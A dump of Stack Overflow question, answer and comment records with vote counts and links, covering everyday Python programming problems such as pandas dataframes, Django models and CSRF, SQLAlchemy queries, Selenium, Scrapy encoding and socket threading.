has body: I've found the bug. Here data = conn.recv(1024) conn is the global variable, so it is the socket for last connected client, and all the threads are trying to receive data from it. The following code works well: class ClientThread(Thread): def __init__(self, ip, port, conn): Thread.__init__(self) self.ip = ip self.port = port self.conn = conn #... def run(self): while True: try: data = self.conn.recv(1024) #... except ConnectionResetError: break ........ newthread = ClientThread(ip, port, conn)
answers question: http://stackoverflow.com/q/46992453
downvote count: 0
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/q/47053061
type: Question
tagged with: python
score: -1
has title: What's a good way to create multiple dataframes of different row length from one dataframe?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47053122
tagged with: pandas
upvote count: 0
has answer: http://stackoverflow.com/a/47053122
answer count: 1
downvote count: 1
has body: I have a dataframe like the following: df Index Fruit 1 Apple 2 Banana 3 Peach 4 Watermelon 5 Apricot I want to create 3 dataframes from this, using the indexes =[[1,4],[1,3,5],[1,2,4]]. I want to be able to call these dataframes by the value of these index keys (?, not too familiar with dictionaries but i feel like this is a good time to use it), such that A : [1,4], B : [1,3,5], C : [1,2,4]. The final dataframes should look like the following: df_1 Index Fruit 1 Apple 4 Watermelon df_2 Index Fruit 1 Apple 3 Peach 5 Apricot df_3 Index Fruit 1 Apple 2 Banana 4 Watermelon What's the best way to iterate through df to generate these dataframes?
favorite count: 0

http://stackoverflow.com/a/71157123
downvote count: 1
has comment: http://stackoverflow.com/comment/127347105
answers question: http://stackoverflow.com/q/47060980
score: 5
type: Answer
upvote count: 6
has comment: http://stackoverflow.com/comment/125782617
has body: Adding inplace=True to the rename call will work. Though, I'm not sure what the result is if I don't specify inplace=True, since I don't see any change.

http://stackoverflow.com/comment/80970460
type: QuestionComment
comment on: http://stackoverflow.com/q/47011915
score: 0
has text: @Daniel it doesn't work. `os.wait` waits for only one process, I have at least 12.
type: Comment

http://stackoverflow.com/a/47017807
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/81013026
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81021927
has body: You can use pandas to do this very simply: In [3]: df Out[3]: t volume 0 1 20 1 2 25 2 2 40 3 3 23 4 3 34 5 3 45 In [4]: df.groupby('t').sum() Out[4]: volume t 1 20 2 65 3 102
answers question: http://stackoverflow.com/q/47017722

http://stackoverflow.com/q/46992100
has body: I'm looking for a way to save (efficiently if possible) two 2D numpy arrays into one plain ppm image. I think the only difference between standard (raw) and plain ppm image is than the latter limits line length to 70 chars. The only way I can think of is to save each array to separate colour channels. Say first array as Red, second as Green, and leave Blue at 0? Though not sure does it make sense... Ideally the ppm file will by 'human readable' (not a data buffer). I know that scipy can save it as raw ppm (but not human readable) Any ideas welcome
tagged with: python
has comment: http://stackoverflow.com/comment/80931789
has comment: http://stackoverflow.com/comment/80931755
has comment: http://stackoverflow.com/comment/80931818
tagged with: ppm
type: AnsweredQuestion
has title: Is there any way to save two 2D numpy arrays as one plain ppm image?
tagged with: arrays
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80931781
answer count: 1
accepted answer: http://stackoverflow.com/a/46993606
favorite count: 0
tagged with: numpy
has answer: http://stackoverflow.com/a/46993606
type: Question
has comment: http://stackoverflow.com/comment/80931863

http://stackoverflow.com/q/46937601
has answer: http://stackoverflow.com/a/46948393
tagged with: raspbian
type: AnsweredQuestion
has title: Can't execute Python script from Motioneye (on Raspbian)
answer count: 1
accepted answer: http://stackoverflow.com/a/46948393
tagged with: python
has body: I've installed the last version of Motioneye on my Raspberry Pi 3 (with Raspbian). All works correctly: Web-Gui, streaming and saving snapshot and video with the options "Still image"/"Movies". But I want also to execute a Python script when motion is detected. The function "Run a Command" (with the path of my script, "/home/myName/Desktop/script.py" unfortunatly doesn't work. I've tried to call "chmod +x" on the script file, but is the same. How can I resolve? PS: Obviously, the Python script is correct and if I start from Python IDLE (or bash) it works!
tagged with: motion-detection
type: Question
has comment: http://stackoverflow.com/comment/80822578
score: 0
has comment: http://stackoverflow.com/comment/80823093
tagged with: raspberry-pi3

http://stackoverflow.com/comment/80965976
has text: Only send those columns to standardScaler which you want to scale instead of whole X_train. Else if you want to use this in a complex setup (using pipelines) then see [FeatureUnion example](http://scikit-learn.org/stable/auto_examples/hetero_feature_union.html) and/ or use sklearn-pandas.
type: Comment
comment on: http://stackoverflow.com/q/47008802
type: QuestionComment
score: 2

http://stackoverflow.com/comment/108568117
score: 0
type: Comment
has text: So how do you **use** it in an overridden method? Do you have to create a separate attribute in the subclass and assig the *super's* mangled attribute to it?
comment on: http://stackoverflow.com/a/47019917
type: AnswerComment

http://stackoverflow.com/q/46945997
downvote count: 0
has answer: http://stackoverflow.com/a/46946331
tagged with: pyqt5
upvote count: 1
score: 1
favorite count: 0
type: Question
tagged with: multiprocessing
has body: I have a problem where I am trying to load a whole lot of png images and subsequently display theme using PyQt. My current workflow is to use a multiprocessor pool to map a function which opens each file with 'rb' values, then reads the bytes of each file into a unified list. Finally the parent process then displays the image by calling the fromImageData method of a QPixmap object. This method seems to work fine, but is quite slow to redraw a new pixmap each time I switch between images (8K resolution). I was hoping that it may be faster to instead create a pixmap for each image and cycle through the pixmap rather than recreating the same pixmap with a new image at each step. To do this, I tried to create a pixmap in the multiprocess function, however this is not allowed because there is no parent QApp in the thread. My question is if there is a proper way to do this? I have alsp thought of doing it with celery/reddis, but i cannot see that having any different ourcome. Is creating a new pixmap for each image and switching them using setPixmap is even a viable option or are there more appropriate ways to achieve this?
tagged with: python
type: AnsweredQuestion
tagged with: python-multiprocessing
has title: Creating QPixmaps in a thread
accepted answer: http://stackoverflow.com/a/46946331
tagged with: pyqt
answer count: 1

http://stackoverflow.com/q/46944955
type: Question
has comment: http://stackoverflow.com/comment/80837429
possible better answer: http://stackoverflow.com/a/46966549
answer count: 2
has answer: http://stackoverflow.com/a/46966549
has body: I'm trying to build a django app where I can track product prices over time. The app fetches new prices routinely, graphs them and shows the recent history of price changes. I'm checking the price once a day and saving that price plus the date timestamp to my models. models.py Class Product(models.Model): title = models.CharField(max_length=255) Class Price(models.Model): product = models.ForeignKey(Product, on_delete=models.CASCADE) date_seen = models.DateTimeField(auto_now_add=True) price = models.IntegerField(blank=True, null=True) Along with the current price of a product I'd also like to show the max and min over all the price data I've collected. I want to get the value and also the date it was at that value. So far I can get the value but I can't get the corresponding date. I'm using this: def price_hla(self): return Product.objects.filter(price__product=self).aggregate(high_price=Max('price__price'), low_price=Min('price__price'), avg_price=Avg('price___price')) Any advice? Thanks in advance! EDIT: Based on responses I have the following. My problem is I'm getting the MAX price and MAX date independent of each other. I want the MAX price with that max price's date in the same response. def price_hla(self): return Product.objects.filter(price__product=self)[:1].annotate(Max('price__price'), Max('price__date_seen'))`
has comment: http://stackoverflow.com/comment/80837969
tagged with: django
has answer: http://stackoverflow.com/a/46984564
tagged with: python
has comment: http://stackoverflow.com/comment/80876533
has title: django product price tracker: getting the amount and date of the all time max and min price
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/46984564
has comment: http://stackoverflow.com/comment/80838387
linked to: http://stackoverflow.com/q/32359954

http://stackoverflow.com/comment/80996257
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47024000
score: 0
has text: Exception in thread Thread-1: Traceback (most recent call last): File "/usr/lib/python2.7/threading.py", line 810, in __bootstrap_inner self.run() File "/usr/lib/python2.7/threading.py", line 1082, in run self.function(*self.args, **self.kwargs) TypeError: 'NoneType' object is not callable

http://stackoverflow.com/comment/80971807
comment on: http://stackoverflow.com/a/46960910
score: 0
type: AnswerComment
has text: Yes, the values are now in the format of `Pe+/ve+/vRFl77+9Q`. I have not used the `bytes('teststring', 'utf-8')` conversion. Maybe i should?
type: Comment

http://stackoverflow.com/a/46992274
has comment: http://stackoverflow.com/comment/80931239
has comment: http://stackoverflow.com/comment/80931886
has comment: http://stackoverflow.com/comment/80931391
has comment: http://stackoverflow.com/comment/80931547
has comment: http://stackoverflow.com/comment/80931823
has comment: http://stackoverflow.com/comment/80932106
has comment: http://stackoverflow.com/comment/80931193
score: 1
has comment: http://stackoverflow.com/comment/80931272
has comment: http://stackoverflow.com/comment/80931614
answers question: http://stackoverflow.com/q/46983310
has comment: http://stackoverflow.com/comment/80932615
has comment: http://stackoverflow.com/comment/80931626
has comment: http://stackoverflow.com/comment/80931159
has body: I made a small example of how I would approach this... Assume we have an array with data (could be stored in a external file or database): jsonarray = [ { 'name':'email', 'datetime':"2017-09-15 04:00:00", 'length':70, 'description':'Answer all the emails received today.' }, { 'name':'email', 'datetime':"2017-09-16 08:00:00", 'length':70, 'description':'Answer all the emails received today.' }, { 'name':'email', 'datetime':"2017-09-15 03:00:00", 'length':70, 'description':'Answer all the emails received today.' } ] We could then read the data and create a function that returns a formatted string that we can print based on a date: import datetime import pandas as pd df = pd.DataFrame(jsonarray) df.datetime = pd.to_datetime(df.datetime) printformat = """ Task Name: {} Start time: {} End time: {} Description: {} """ def print_tasks(maskby): mask = df[df['datetime'].dt.date.astype(str) == maskby].sort_values(by='datetime') s = ['These are your tasks for {}:\n'.format(maskby)] for ind,row in mask.iterrows(): name = row["name"] stime = row["datetime"].strftime("%H:%M") etime = (row["datetime"] + datetime.timedelta(minutes=row["length"])).strftime("%H:%M") desc = row["description"] s.append(printformat.format(name,stime,etime,desc)) return ''.join(s) print(print_tasks("2017-09-15")) Output: These are your tasks for 2017-09-15: Task Name: email Start time: 03:00 End time: 04:10 Description: Answer all the emails received today. Task Name: email Start time: 04:00 End time: 05:10 Description: Answer all the emails received today. Ok so if you are interested and seeing your example data then this list are the things you want to learn: datetime library: datetime.strptime() - string --> datetime datetime.strftime() - datetime --> string datetime.timedelta() - timedeltas string formatting: str.format() - effective way to print strings ''.join() - effective way of converting list to strings furthermore, to understand the code I wrote.. have a look at: json (a way to store informati…
downvote count: 0
type: Answer
upvote count: 1

http://stackoverflow.com/q/47014455
tagged with: celery
has answer: http://stackoverflow.com/a/47015514
answer count: 1
upvote count: 1
score: 1
favorite count: 0
type: Question
has title: Consume messages from django
type: UnansweredQuestion
downvote count: 0
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/80977183
has body: Is it possible to consume messages from rabbitmq using celery in django? Messages are being sent from a different non-django app import os from celery import Celery from django.conf import settings os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'app.settings') app = Celery("test") app.autodiscover_tasks(lambda: settings.INSTALLED_APPS) app.conf.task_routes = { 'task.send_emails':{ 'queue': 'sendmail', 'exchange': 'sendmail', 'routing_key': 'sendmail' } } app.config_from_object('django.conf:settings')

http://stackoverflow.com/q/46946347
has title: Python SSL client certificate
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: ssl
tagged with: x509certificate
tagged with: python
tagged with: ssl-certificate
has body: I am trying to use client side certificates for authentication in Python, but I just can't figure it out. I am using this for my testing: https://blog.cloudflare.com/introducing-tls-client-auth/ (Skip to "TLS Client Authentication On The Edge" for the pem file and example curl call). It works as expected in curl, but when I try it in Python I get a 403 back from the server. Here is what I have tried in Python: import ssl import socket s = socket.socket() addr_info = socket.getaddrinfo('auth.pizza',443) addr = addr_info[0][-1] ss = ssl.wrap_socket(s, certfile='pizza.pem') ss.connect(addr) ss.write(b'GET / HTTP/1.0\r\n\r\n') print(ss.read(4096)) I'm at a loss for how to even debug this further.
answer count: 0
score: 1

http://stackoverflow.com/a/47066740
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81104929
has body: While @Michael O'Dwyer's answer suffices, in addition to his clarification of pre-determining the canvas size of the PyGame window, you could also detect your system's width and height automatically using the pygame.display.Info() method for better clarity. Here would be your code with automatically detected width and height: import pygame # Initialize Pygame pygame.init() # Get system display information displayInfo = pygame.display.Info() windowwidth = displayInfo.current_w windowheight = displayInfo.current_h # Commented out - No need to reinitialize other Pygame modules # after pygame.init() is called # pygame.display.init() screen = pygame.display.set_mode((windowwidth, windowheight)) pygame.display.flip() running = 1 while running: LEFT = 1 for event in pygame.event.get(): if event.type == pygame.MOUSEBUTTONDOWN and event.button == LEFT: print(event.pos) if event.type == pygame.KEYDOWN: if event.key == pygame.K_f: pygame.display.set_mode((windowwidth, windowheight), pygame.FULLSCREEN) if event.key == pygame.K_g: pygame.display.set_mode((800, 480)) else: break pygame.display.flip() Here is the PyGame documentation for the pygame.display.Info() method. Hope this helped!
type: Answer
has comment: http://stackoverflow.com/comment/81104445
has comment: http://stackoverflow.com/comment/81103591
answers question: http://stackoverflow.com/q/47059749
score: 1

http://stackoverflow.com/a/46944680
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46944596
answers question: http://stackoverflow.com/q/46944596
has body: According to the flask documentation: Unless customized, Jinja2 is configured by Flask as follows: autoescaping is enabled for all templates ending in .html, .htm, .xml as well as .xhtml when using render_template(). Also: autoescaping is enabled for all strings when using render_template_string(). Finally: a template has the ability to opt in/out autoescaping with the {% autoescape %} tag. So, while jinja may not autoescape by default, flask turns on Jinja's autoescaping by default.
type: Answer
score: 3
upvote count: 3

http://stackoverflow.com/a/46984636
accepted answer of: http://stackoverflow.com/q/46984540
type: Answer
score: 2
has body: Issue with the posted code was that we needed accumulation into output : value += .. after initializing it as zero at the start. You can vectorize by using a range array for the iterator, like so - I = np.arange(1,n+1) out = (h*np.sin(a - (0.5*h) + (I*h))).sum() Sample run - In [78]: I = np.arange(1,n+1) In [79]: (h*np.sin(a - (0.5*h) + (I*h))).sum() Out[79]: 2.0082484079079745
answers question: http://stackoverflow.com/q/46984540
upvote count: 2
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80779578
score: 0
type: QuestionComment
has text: Was that it? :D
type: Comment
comment on: http://stackoverflow.com/q/46915815

http://stackoverflow.com/q/47026384
has comment: http://stackoverflow.com/comment/81014794
upvote count: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81009076
has body: I'm really trying to grok SQLAlchemy, but it's going slowly and confusingly. I have the following query: INSERT INTO user (name, email) SELECT :name, :email WHERE NOT EXISTS ( SELECT * FROM other WHERE other.id &gt; :some_id ) RETURNING id and I want to run this through SQLAlchemy in a more pythonic way than just supplying raw SQL to execute. I can't figure out which functions exist on which objects - filter, where, insert, add... the documentation is so verbose and overwhelming, I get lost. I've got user objects that get generated and are waiting to be added to the database - this is the query that should be doing it, if someone can help me figure out how to construct this. I'd like this to all be in one query because there is a race condition, where sometimes I get a new other object, which invalidates the current user objects and so I no longer want to add them.
has answer: http://stackoverflow.com/a/47034599
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81029875
has comment: http://stackoverflow.com/comment/81027830
favorite count: 0
score: 3
tagged with: python
has title: Render INSERT INTO SELECT RETURNING using SQLAlchemy
tagged with: sqlalchemy
type: Question

http://stackoverflow.com/a/46961064
answers question: http://stackoverflow.com/q/46960889
has comment: http://stackoverflow.com/comment/80869711
accepted answer of: http://stackoverflow.com/q/46960889
has comment: http://stackoverflow.com/comment/80869750
score: 1
type: Answer
type: AcceptedAnswer
downvote count: 0
has body: Can you try this : cursor = db.database.find({ "data.name3": "searchValue" }, {"data.$" : 1}).sort([( "_id" , -1 ) ]).limit(1)
upvote count: 1

http://stackoverflow.com/a/47042118
has comment: http://stackoverflow.com/comment/81034020
answers question: http://stackoverflow.com/q/47041963
has body: By decoding, processing the object recursively, and encoding to JSON again. I like to use single dispatch for such tasks: from functools import singledispatch @singledispatch def remove_null_bool(ob): return ob @remove_null_bool.register(list) def _process_list(ob): return [remove_null_bool(v) for v in ob] @remove_null_bool.register(dict) def _process_list(ob): return {k: remove_null_bool(v) for k, v in ob.items() if v is not None and v is not True and v is not False} data = json.load(source) json.dump(dest, remove_null_bool(data)) I used is not False, etc. to test for the exact objects. Had I used v not in {None, False, True} the integer values 0 and 1 would be removed too as False and True are equal to those values, respectively. Demo against your sample loaded into data: &gt;&gt;&gt; print(json.dumps(remove_null_bool(data), indent=4, sort_keys=True)) { "created_at": "Tue Oct", "entities": { "hashtags": [ { "indices": [ 0, 8 ] } ], "symbols": [], "urls": [], "user_mentions": [] }, "id": 92, "id_str": "92", "text": "This is a vdd", "user": { "id": 278, "lang": "pt", "profile_sidebar_border_color": "FFFFFF", "translator_type": "none" } }
has comment: http://stackoverflow.com/comment/81036457
type: Answer
score: 11
upvote count: 11
has comment: http://stackoverflow.com/comment/81036554
downvote count: 0

http://stackoverflow.com/comment/81000309
comment on: http://stackoverflow.com/q/47026581
has text: what are you actually trying to accomplish with this code?
type: Comment
score: 4
type: QuestionComment

http://stackoverflow.com/a/46924414
upvote count: 1
has body: An assumption here is that a word is chosen if it uniquely appears in at least n sentences. So, even if it occurs 10 times in a single sentence, that's still once. A couple of glaring issues are your nested loops and your in check on a string. This is effectively cubic in complexity. It should be possible to reduce this drastically using a set + Counter. from collections import Counter from itertools import takewhile def foo(self, n): c = Counter() for sent in self.allSentences: c.update(set(sent)) resultSet = list(itertools.takewhile(lambda x: x[1] &gt;= n, c.most_common())) return resultSet Here, I use regex to remove special characters and punctuation, following which I split and retrieve all unique words in the sentence. The Counter is then updated. Finally, extract all words of the desired frequency (or more) using itertools.takewhile and return. If sent is a string sentence, you might use re based filtering to remove punctuation and then split: import re tempWordSet = set(re.sub('[^\w\s]+', '', sent).split()) c.update(tempWordSet) This does not take into consideration whether a word belongs to self.wordSet or not. So if you want that as well, you might modify the first loop a bit to include a filter step: c.update(set(filter(lambda x: x in self.wordSet, sent))) Or, using the second technique: tempWordSet = set(filter(lambda x: x in self.wordSet, re.sub('[^\w\s]+', '', sent).split())) On an unrelated note, are you trying to perform text mining? You might be interested in looking into TFIDF.
accepted answer of: http://stackoverflow.com/q/46924236
has comment: http://stackoverflow.com/comment/80797600
has comment: http://stackoverflow.com/comment/80798080
answers question: http://stackoverflow.com/q/46924236
type: Answer
has comment: http://stackoverflow.com/comment/80797518
has comment: http://stackoverflow.com/comment/80797591
score: 1
has comment: http://stackoverflow.com/comment/80797780
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80797532
downvote count: 0

http://stackoverflow.com/q/47014999
tagged with: python
type: Question
has body: My file structure is like this: - main.py - components -- __init__.py -- Superclass.py -- subclass.py In Superclass.py: class Superclass: def __init__(self): ... In subclass.py: from Superclass import Superclass class subclass(Superclass): def __init__(self): ... In main.py: from components import subclass ... If I run subclass.py independently it gives expected result without any error. But If I run main.py it gives: Traceback (most recent call last): File "/../main.py", line 1, in &lt;module&gt; from components import subclass File "/../subclass.py", line 1, in &lt;module&gt; from Superclass import Superclass ImportError: No module named 'Superclass' I am novice in OOP with python. I need to know why this error is happening and how to resolve this.
tagged with: python-import
answer count: 0
has title: Importing Subclass sharing same directory of Superclass
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80976480
has comment: http://stackoverflow.com/comment/80976310
score: 0
tagged with: oop
tagged with: python-module

http://stackoverflow.com/comment/80778775
type: Comment
comment on: http://stackoverflow.com/a/46915182
has text: I hadn't thought of that, and it sounds like a good idea, but on my own test it performs very similarly to the original: `%time x = df'sentence', 'lang'.apply(lambda x: compute_coverage(*x), axis=1)` gives me 56s, vs 53s for the original. I don't know where the difference comes from.
score: 0
type: AnswerComment

http://stackoverflow.com/q/46947510
score: 0
has body: I'm using django 1.11.6 and python 3.5 on an ubuntu server. I have an api for user registration. This is my curlcommand: curl -i -H 'Accept: application/json; indent=4' -X POST https://mydomain/users/:register/ -d "id=222111&amp;firstname=andy&amp;yearofbirth=2007&amp;lastname=Chris&amp;othernames=" When I use it in cygwin I get this response which is the desired: HTTP/1.1 200 OK Date: Thu, 26 Oct 2017 06:41:00 GMT Server: Apache/2.4.18 (Ubuntu) Allow: POST, OPTIONS Vary: Accept,Cookie Content-Length: 188 X-CSRFToken: acY2oPGkkqkzBe9itBq56oFeTFAllqv2bS39c7TpPN9LlGh90E1FxsI0YXLlu1Vu X-Frame-Options: SAMEORIGIN Set-Cookie: csrftoken=QfxnUGTmrRi1MThcn8Qau5ytnt2NR8tdRVCuIY6rWe7dwlp3UbrKV9BfsLdN0JTF; expires=Thu, 25-Oct-2018 06:41:01 GMT; Max-Age=31449600; Path=/ Content-Type: application/json { "isnew": "true", "user": { "othernames": "", "id": "222111", "firstname": "Andy", "yearofbirth": 2007, "lastnames": "Chris" } } As I can see, I have X-CSRFToken header and `csrftoken' cookie. When I try to run the same curl command from postman I get: Forbidden (403) CSRF verification failed. Request aborted. You are seeing this message because this HTTPS site requires a 'Referer header' to be sent by your Web browser, but none was sent. This header is required for security reasons, to ensure that your browser is not being hijacked by third parties. If you have configured your browser to disable 'Referer' headers, please re-enable them, at least for this site, or for HTTPS connections, or for 'same-origin' requests. My function in views.py is: class ApiUserRegister(APIView): permission_classes = () serializer_class = RegisterUserSerializer def post(self, request): serializer = RegisterUserSerializer(data=request.data) # Check format and unique constraint serializer.is_valid(raise_exception=True) data = serializer.data if User.objects.filter(id=data['id']).exists(): user = User.objects.get(id=data['id']) is_new = "false" resp_status = status.HTTP_200_OK else: user = User.objects.c…
has answer: http://stackoverflow.com/a/78449053
answer count: 3
has answer: http://stackoverflow.com/a/61357339
has title: Django rest-api: Postman can't see CSRF token
tagged with: postman
type: Question
linked to: http://stackoverflow.com/q/46926227
has answer: http://stackoverflow.com/a/46947907
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80842341
tagged with: django
tagged with: python
tagged with: django-rest-framework
tagged with: curl
linked to: http://stackoverflow.com/q/30871033
has comment: http://stackoverflow.com/comment/80842414

http://stackoverflow.com/q/46990402
answer count: 1
tagged with: selenium
tagged with: web-scraping
tagged with: python
accepted answer: http://stackoverflow.com/a/46990801
has comment: http://stackoverflow.com/comment/80927939
has answer: http://stackoverflow.com/a/46990801
type: AnsweredQuestion
score: 0
tagged with: exception
has comment: http://stackoverflow.com/comment/80927990
type: Question
has body: I have a page where the number of elements to loop through is not easily known. As such I’ve made the job loop through Href “a” (364 matches) and when it cannot find the Next button, I am wanting the job to come to an end. I have tried: try: element = driver.find_element_by_xpath('//span[text()="Next Page"]') except NoSuchElementException: pass #except IOError: #pass #except OSError: #pass As well as other variations and indenting. My full code is here (it does not allow me to post it here fully due to character limit)
has title: If element does not exist, end the job [Dealing with pagination]
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80928058

http://stackoverflow.com/comment/80928703
score: 0
comment on: http://stackoverflow.com/q/46990885
type: Comment
type: QuestionComment
has text: You should use a visual debugger or pbd to step through your code and understand what is going on. Especially when you are new to a language, very frequently stuff isn't going to work on the first run. Learning how to problem solve that is inherently part of the coding process.

http://stackoverflow.com/comment/81070439
type: Comment
type: QuestionComment
has text: did you try replace function?
score: 0
comment on: http://stackoverflow.com/q/47060408

http://stackoverflow.com/comment/81042509
comment on: http://stackoverflow.com/q/47047605
has text: Unrelated to Selenium. You'd have to inject default Firefox developer this way. I'd love for a privacy Firefox to be built without extensions. Or even one where adblocker is in the default build as to keep cpu at a minimum. As extensions are not going to be supported this sounds interesting...
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46924104
answers question: http://stackoverflow.com/q/46923648
upvote count: 0
has body: Possible one-liner ''.join([' ' if i % 2 else str(i) for i in range(10)])
downvote count: 1
has comment: http://stackoverflow.com/comment/80799119
type: Answer
score: -1

http://stackoverflow.com/a/46960899
downvote count: 0
accepted answer of: http://stackoverflow.com/q/46960730
has body: Python supports utf-8 for this sort of thing. You should be able to do: with open('text.txt', encoding = 'utf-8', mode = 'r') as my_file: ... Also, be sure that your text file is saved with utf-8 encoding. I tested this in my shell and without proper encoding my output was: ????????????????????? With proper encoding: file = open('text.txt', encoding='utf-8', mode='r') text = file.read() print(text) абцдефгчийклмнопярстувшхы
type: Answer
score: 6
upvote count: 6
answers question: http://stackoverflow.com/q/46960730
type: AcceptedAnswer

http://stackoverflow.com/q/46999673
linked to: http://stackoverflow.com/q/9181214
answer count: 1
has comment: http://stackoverflow.com/comment/80946605
has comment: http://stackoverflow.com/comment/80946203
tagged with: scrapy
has comment: http://stackoverflow.com/comment/80946328
has comment: http://stackoverflow.com/comment/80946389
tagged with: unicode
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80946295
has comment: http://stackoverflow.com/comment/80946095
has title: Scrapy utf8 encoding
has comment: http://stackoverflow.com/comment/80947036
has comment: http://stackoverflow.com/comment/80946116
has comment: http://stackoverflow.com/comment/80946249
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/80946031
has comment: http://stackoverflow.com/comment/80946517
has answer: http://stackoverflow.com/a/47009393
has comment: http://stackoverflow.com/comment/80947193
has comment: http://stackoverflow.com/comment/80946266
has comment: http://stackoverflow.com/comment/80946177
has comment: http://stackoverflow.com/comment/80948271
score: -1
has body: I'm using Scrapy join with Python2.7 for do some tasks but I am deal with a issue with the Spanish characters like accents and ñ. The problem is when I did a respone like: response.xpath("//*[contains(@id, 'content')]").css('table').css('tr').css('a') And returns, for example, the following line: u'/C\xf3digo/7' I need the content of href for go to the next page but the format is incorrect and Scrapy cannot do a request. I included the # -- coding: utf-8 -- at the beginning of the file and I tried to use .decode('utf-8') but it didn't work. Someone had have this problem and knowns how to solve it? I will really grateful with your help. Regards.
has comment: http://stackoverflow.com/comment/80946052
upvote count: 0
has comment: http://stackoverflow.com/comment/80946153

http://stackoverflow.com/q/47061564
has answer: http://stackoverflow.com/a/47062014
favorite count: 0
accepted answer: http://stackoverflow.com/a/47061771
linked to: http://stackoverflow.com/q/2158395
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47061771
has answer: http://stackoverflow.com/a/47062004
answer count: 5
tagged with: pandas
linked to: http://stackoverflow.com/q/11858472
upvote count: 5
tagged with: dataframe
tagged with: python
has title: How to create strings from dataframe columns elements in Python?
has body: Given a dataframe df, (real life is a +1000 row df). Elements of ColB are lists of lists. ColA ColB 0 'A' [['a','b','c'],['d','e','f']] 1 'B' [['f','g','h'],['i','j','k']] 2 'A' [['l','m','n'],['o','p','q']] How can efficiently create a ColC that is a string using the elements in the different columns, like this: ColC 'A&gt;+a b:c,+d e:f' 'B&gt;+f g:h,+i j:k' 'A&gt;+l m:n,+o p:q' I tried with df.apply along these lines, inspired by this: df['ColC'] = df.apply(lambda x:'%s&gt;' % (x['ColA']),axis=1) This works for the first 2 elements of the string. Having a hard time with the rest.
possible better answer: http://stackoverflow.com/a/47061814
has answer: http://stackoverflow.com/a/47061959
type: Question
has answer: http://stackoverflow.com/a/47061814
score: 5
downvote count: 0
tagged with: string

http://stackoverflow.com/comment/80773234
comment on: http://stackoverflow.com/q/46912535
type: Comment
has text: Should `[1,2,5,2,4]` return `[1,2,5,4]` because `4>2` or `[1,2,5]` because `4<5`?
type: QuestionComment
score: 3

http://stackoverflow.com/comment/81028295
has text: awesome, getting this error though: `TypeError: post() got multiple values for keyword argument 'data'`
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47040561

http://stackoverflow.com/q/46938512
has title: merge two dataframes using two keys with or operator
type: UnansweredQuestion
tagged with: python
tagged with: merge
has answer: http://stackoverflow.com/a/52411353
tagged with: or-operator
score: 0
has body: I have two dataframes on financial data. Each has two keys, ticker and cusip. I wanted to merge these two datafames based on matching of any of those two keys (not necessary their interaction). If I used `pd.merge(a , b, how='left' , on=['ticker', 'cusip']) it would return just those observations with matched ticker and cusip. I need to have or operator. something like this in sql is qhat I am asking: select * from a left join b on a.ticker = b.ticker or a.cusip=b.cusip I would appreciate your hints.
answer count: 1
tagged with: multiple-columns
type: Question

http://stackoverflow.com/q/46953084
has body: I refered to Fitting empirical distribution to theoretical ones with Scipy (Python)? and generated the best fit distribution to my sample data. I wish to generate random numbers according to the best fit distribution. See image below. However, in https://docs.scipy.org/doc/numpy-1.13.0/reference/generated/numpy.random.f.html#numpy.random.f, there is only 3 parameters, dfnum, dfden, size=None, where should I insert loc and scale. By the way, the dnd and dfd in best fit distribution are float and in numpy.random, it wants integer. If I use only dnd and dfd in the code df_members['bd'] = df_members.bd.apply(lambda x: np.rint((np.random.f(dfnum=1441, dfden=19))) if x==-999 else x ) ,such values will be generated, which is false.
has answer: http://stackoverflow.com/a/46953322
answer count: 1
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80853314
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/46938085
score: 1
linked to: http://stackoverflow.com/q/6620471
tagged with: scipy
has title: Getting draws from a fitted distribution
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/46953322

http://stackoverflow.com/comment/80776023
has text: @mack I suggested you accept this answer , since this is cover all you need ~ :-)
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46914251

http://stackoverflow.com/q/46955360
has body: Hi Guys I want to put assertion on the value of toggle button(on/off) but I'm not able to fetch the value for the same. The code I'm using to get value is: driver.find_element_by_xpath("//*[@id=\"map1\"]/map-settings/div[3]/ul/li[2]/label/input").click() val = driver.find_element_by_xpath("//*[@id=\"map1\"]/map-settings/div[3]/ul/li[2]/label/input").get_attribute("value") return val But I'm unable to do so. The HTML code for the element is: Select All Please refer to Images attached to see the snippet of toggle and the IDE recording of elements for further enlightenment.
score: 0
answer count: 1
tagged with: selenium
has answer: http://stackoverflow.com/a/46959516
type: Question
type: UnansweredQuestion
has title: How to check status of toggle button in selenium webdriver in python
tagged with: python
has comment: http://stackoverflow.com/comment/80859856
has comment: http://stackoverflow.com/comment/80866315
has comment: http://stackoverflow.com/comment/80865977

http://stackoverflow.com/comment/81033486
has text: what url are you using to access the api ?
score: 0
comment on: http://stackoverflow.com/q/47042904
type: QuestionComment
type: Comment

http://stackoverflow.com/a/47034165
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47027304
